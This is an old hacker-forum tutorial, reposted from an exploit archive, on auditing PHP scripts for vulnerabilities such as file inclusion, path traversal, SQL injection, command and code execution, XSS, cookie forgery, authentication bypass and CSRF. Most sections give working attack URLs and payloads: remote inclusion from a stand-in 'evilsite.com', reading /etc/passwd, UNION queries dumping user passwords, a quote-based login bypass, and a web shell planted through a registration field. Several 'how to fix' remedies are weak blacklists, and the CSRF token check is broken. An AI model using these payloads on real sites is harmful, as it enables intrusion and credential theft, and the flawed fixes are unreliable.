3) Remote File Inclusion
3.0 - Basic example
3.1 - Simple example
3.2 - How to fix
4) Local File Inclusion
4.0 - Basic example
4.1 - Simple example
4.2 - How to fix
5) Local File Disclosure/Download
5.0 - Basic example
5.1 - Simple example
5.2 - How to fix
6) SQL Injection
6.0 - Basic example
6.1 - Simple example
6.2 - SQL Login Bypass
6.3 - How to fix
7) Insecure Cookie Handling
7.0 - Basic example
7.1 - Simple example
7.2 - How to fix
8) Remote Command Execution
8.0 - Basic example
8.1 - Simple example
8.2 - Advanced example
8.3 - How to fix
9) Remote Code Execution
9.0 - Basic example
9.1 - Simple example
9.2 - How to fix
10) Cross-Site Scripting
10.0 - Basic example
10.1 - Another example
10.2 - Simple example
10.3 - How to fix
11) Authentication Bypass
11.0 - Basic example
11.1 - Via login variable
11.2 - Unprotected Admin CP
11.3 - How to fix
12) Insecure Permissions
12.0 - Basic example
12.1 - Read the users/passwords
12.2 - Download backups
12.3 - INC files
12.4 - How to fix
13) Cross Site Request Forgery
13.0 - Basic example
13.1 - Simple example
13.2 - How to fix
14) Shoutz
1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.
2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
configuration I use and why :
safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
How to proceed : First,create a database to be used by different scripts.Install the script on
localhost and start the audit over the source code.If you found something open the web browser and
test it,maybe you are wrong.
3) Remote File Inclusion
- Tips : You can use the NULLBYTE and ? trick.
You can use HTTPS and FTP to bypass filters ( http filtered )
In PHP is 4 functions through you can include code.
require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
include - includes and evaluates the specified file.
include_once - includes and evaluates the specified file during the execution of the script.
3.0 - Basic example
- Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
-----------------------------------------------
- If we access the page we got some errors and some warnings( not pasted ) :
Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
- We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Now I will show why some people use ? and after the link to the evil script.
# The ""
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
-----------------------------------------------
- So if we will request
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
consideration.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.
# The "?"
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
-----------------------------------------------
And the logged=1 will become like a variable.But better use nullbyte.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
The evilscript will be included succesfully.
3.1 - Simple example
Now an example from a script.
- Code snippet from index.php
----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
----------------------------------------------------
We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :
http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt
Our evil script will be successfully included.
3.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".
4) Local File Inclusion
- Tips : You can use the NULLBYTE and ? trick.
../ mean a directory up
On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
The same functions which let you to include (include,include_once,require,require_once) .
4.0 - Basic example
- Code snippet from test.php
-----------------------------------
<?php
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
-----------------------------------
Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
The script will include "/pages/../../../../../../etc/passwd" successfully.
You can use the and ? .The same story.
4.1 - Simple example
- Code snippet from install/install.php
-------------------------------------
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
.............etc.............
<p><? include('step/'.$url) ?></p>
-------------------------------------
We can see that "url" variable is injectable.If the "url" variable is not set
(is empty) the script will include "step_welcome.php" else will include the
variable set by the attacker.
So if we do the following request :
http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
The "etc/passwd" file will be succesfully included.
4.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .
5) Local File Disclosure/Download
- Tips : Through this vulnerability you can read the content of files,not include.
Some functions which let you to read files :
file_get_contents — Reads entire file into a string
readfile — Outputs a file
file — Reads entire file into an array
fopen — Opens file or URL
highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
show_source — Alias of highlight_file()
5.0 - Basic example
- Code snippet from test.php
--------------------------------------
<?php
$pagina=$_GET['pagina'];
readfile($pagina);
?>
--------------------------------------
The readfile() function will read the content of the specified file.So if we do the following request :
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
The content of etc/passwd will be outputed NOT included.
5.1 - Simple example
- Code snippet from download.php
-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------
The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
If we make the following request :
http://127.0.0.1/download.php?file=../../../../../../etc/passwd
So we can succesfully read the "etc/passwd" file.
5.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .
6) SQL Injection
- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.
6.0 - Basic example
- Code snippet from test.php
----------------------------------------------------------------------------------
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------
The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.
6.1 - Simple example
- Code snippet from house/listing_view.php
-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------
We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :
http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
And we get the email and the password from the users table.
6.2 - SQL Injection Login Bypass
- Code snippet from /admin/login.php
------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
------------------------------------------------------------------------------------------------------------------------------
The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
username : admin ' or ' 1=1
password : sirgod
We logged in.Why?Look,the code will become
---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------
Login bypassed.The username must be an existent username.
6.3 - How to fix
Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *
7) Insecure Cooke Handling
- Tips : Write the code in the URLbar,don't use a cookie editor for this.
7.0 - Basic example
- Code snippet from test.php
---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------
Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :
javascript:document.cookie = "is_user_logged=1; path=/";
So practically we are logged in,we pass the check and we can access the admin panel.
7.1 - Simple example
- Code snippet from admin.php
----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------
Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :
javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
What is 1246371700? Is the current time() echo'ed + 360.
7.2 - How to fix
Simple way : The most simple and eficient way : use SESSIONS .
8) Remote Command Execution
- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator ( || ) if the script execute more than one command .
In PHP are some functions that let you to execute commands :
exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output
8.0 - Basic example
- Code snippet from test.php
---------------------------------
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------
So if we make the following request :
http://127.0.0.1/test.php?cmd=whoami
The command will be executed and the result will be outputed.
8.1 - Simple example
- Code snippet from dig.php
-------------------------------------------------------------------------------------------
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------
The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
that he want through this variable.
Lets make a request :
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :
http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
8.2 - Advanced example
- Code snippet from add_reg.php
-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------
We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.
So if we register as an user with the location (set the "location" value) :
<?php system($_GET['cmd']); ?>
the code inside sites/ourusername.php will become :
-------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "<?php system($_GET['cmd']); ?>";
$url = "http://google.ro";
?>
-------------------------------------------------
So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
Lets inject this code :
\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
So the code inside sites/ourusername.php will become :
--------------------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://google.ro";
?>
--------------------------------------------------------------
and we will have no error.Why?See the code :
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
Lets split it :
-------------------------------
$location = "";
?>
<?php system($_GET['cmd']);?>
<?php $xxx=":D";
-------------------------------
We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no
error,can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).
So if we make the following request :
http://127.0.0.1/sites/ourusername.php?cmd=whoami
And our command will be succesfully executed.
8.3 - How to fix
Simple way : Don't allow user input .
Another way : Use escapeshellarg() and escapeshellcmd() functions .
Example : $cmd=escapeshellarg($_GET'cmd']);
9) Remote Code Execution
- Tips : You must inject valid PHP code including terminating statements ( ; ) .
9.0 - Basic example
- Code snippet from test.php
-----------------------------------
<?php
$code=$_GET['code'];
eval($code);
?>
-----------------------------------
The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :
http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);
And we will see the output of the PHP code injected by us.
9.1 - Simple example
- Code snippet from system/services/init.php
------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------
We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :
http://127.0.0.1/test.php?anticode=phpinfo();
Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.
9.2 - How to fix
Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.
10) Cross-Site Scripting
- Tips : You can use alot of vectors,can try alot of bypass methods,you cand
find them around the web.
10.0 - Basic example
- Code snippet from test.php
---------------------------------
<?php
$name=$_GET['name'];
print $name;
?>
---------------------------------
The input is not filtered,an attacker can inject JavaScript code.Example :
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
A popup with XSS message will be displayed.JavaScript code succesfully executed.
10.1 - Another example
- Code snippet from test.php
-------------------------------------------
<?php
$name=addslashes($_GET['name']);
print '<table name="'.$name.'"></table>';
?>
-------------------------------------------
Not an advanced example,only a bit complicated.
http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.
10.2 - Simple example
- Code snippet from modules.php
---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------
The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
10.3 - How to fix
Simple way : Use htmlentities() or htmlspecialchars() functions.
Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
The best way is the first method.
11) Authentication Bypass
- Tips : Look deep in the scripts,look in the admin directories,
maybe are not protected,also look for undefined variables
like "login" or "auth".
11.0 - Basic example
I will provide a simple example of authentication bypass
via login variable.
- Code snippet from test.php
---------------------------------
<?php
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
---------------------------------
Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
Example :
http://127.0.0.1/test/php?logged=1
And we are logged in.
11.1 - Via login variable
- Code snippet from login.php
------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "<p>$txt_pass_ok</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
</a></div>";
}
------------------------------------------------------------------------------------
Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :
http://127.0.0.1/login.php?login_ok=1
Now we are logged in.
11.2 - Unprotected Admin CP
You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
Example :
http://127.0.0.1/admin/files.php
We accessed the admin panel with a simple request.
11.3 - How to fix
- Login variable bypass : Use a REAL authentication system,don't check the
login like that,use SESSION verification.Example :
if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}
- Unprotected Admin CP : Use an authentication system or use .htaccess to
allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :
.htaccess :
order deny, allow
deny from all
allow from 127.0.0.1
.htpasswd :
AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user
and /the/path/.htpasswd
sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
12) Insecure Permissions
Tips : Look deep into the files,look if the script request to be
logged in to do something,maybe the script don't request.
Watch out for insecure permissions,maybe you can do admin
things without login.
12.0 - Basic example
We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.
- Code snippet from admin/db_lookup.php
--------------------------------------------
<?php
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------
Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :
http://127.0.0.1/admin/db_lookup.php
We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.
12.1 - Read the users/passwords
Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :
http://127.0.0.1/userpwd.txt
And we read the file,the usernames and passwords are there.
12.2 - Download Backups
Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :
- Code snippet from /adminpanel/phpmydump.php
--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------
After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :
http://127.0.0.1/adminpanel/phpmydump.php
Now we have the database backup saved in our computer.
12.3 - INC files
Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :
http://127.0.0.1/inc/mysql.inc
Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.
12.4 - How to fix
- Basic example : Check if the admin is logged in,if not,redirect.
- Read the users/passwords : Save the records in a MySQL database
or in a protected file/directory.
- Download Backups : Check if the admin is logged in,if not,redirect.
- INC files : Save the configuration in proper files,like .php or
protect the directory with an .htaccess file.
13) Cross Site Request Forgery
- Tips : Through CSRF you can change the admin password,is not
so inofensive.
Can be used with XSS,redirected from XSS.
13.0 - Basic example
- Code snippet from test.php
-----------------------------------------
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------
In this example you will see what is CSRF and how it works.In the "files"
directory are saved the news written by the author.The news are saved like
"news1.txt","news2.txt" etc. So the admin can delete the news.The news that
he want to delete will be specified in "news" variable.If he want to delete
the news1.txt the value of "news" will be "1".We cannot execute this without
admin permissions,look,the script check if we are logged in.
I will show you an example.If we request :
http://127.0.0.1/test.php?news=1
The /news/news1.txt file will be deleted.The script directly delete the file
without any notice.So we can use this to delete a file.All we need is to trick
the admin to click our evil link and the file specified by us in the "news"
variable will be deleted.
13.1 - Simple example
In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.
- Code snippet from includes/pages/admin.php
--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------
Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.
- Code snippet from includes/pages/admin/members.php
----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------
We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :
http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.
13.2 - How to fix
- Simple way : Use tokens.At each login,generate a random token and save it
in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
is present and is correct.Example :
-------------------------------------------------------
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------
The request will look like this one :
http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
So this request will be fine,the news will be deleted.
- Another way : Do some complicated confirmations or request a password
to do administrative actions.
14) Shoutz
Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or
questions just email me.
# milw0rm.com [2009-09-09]
© Offensive Security 2011
Subscribe to:
Posts (Atom)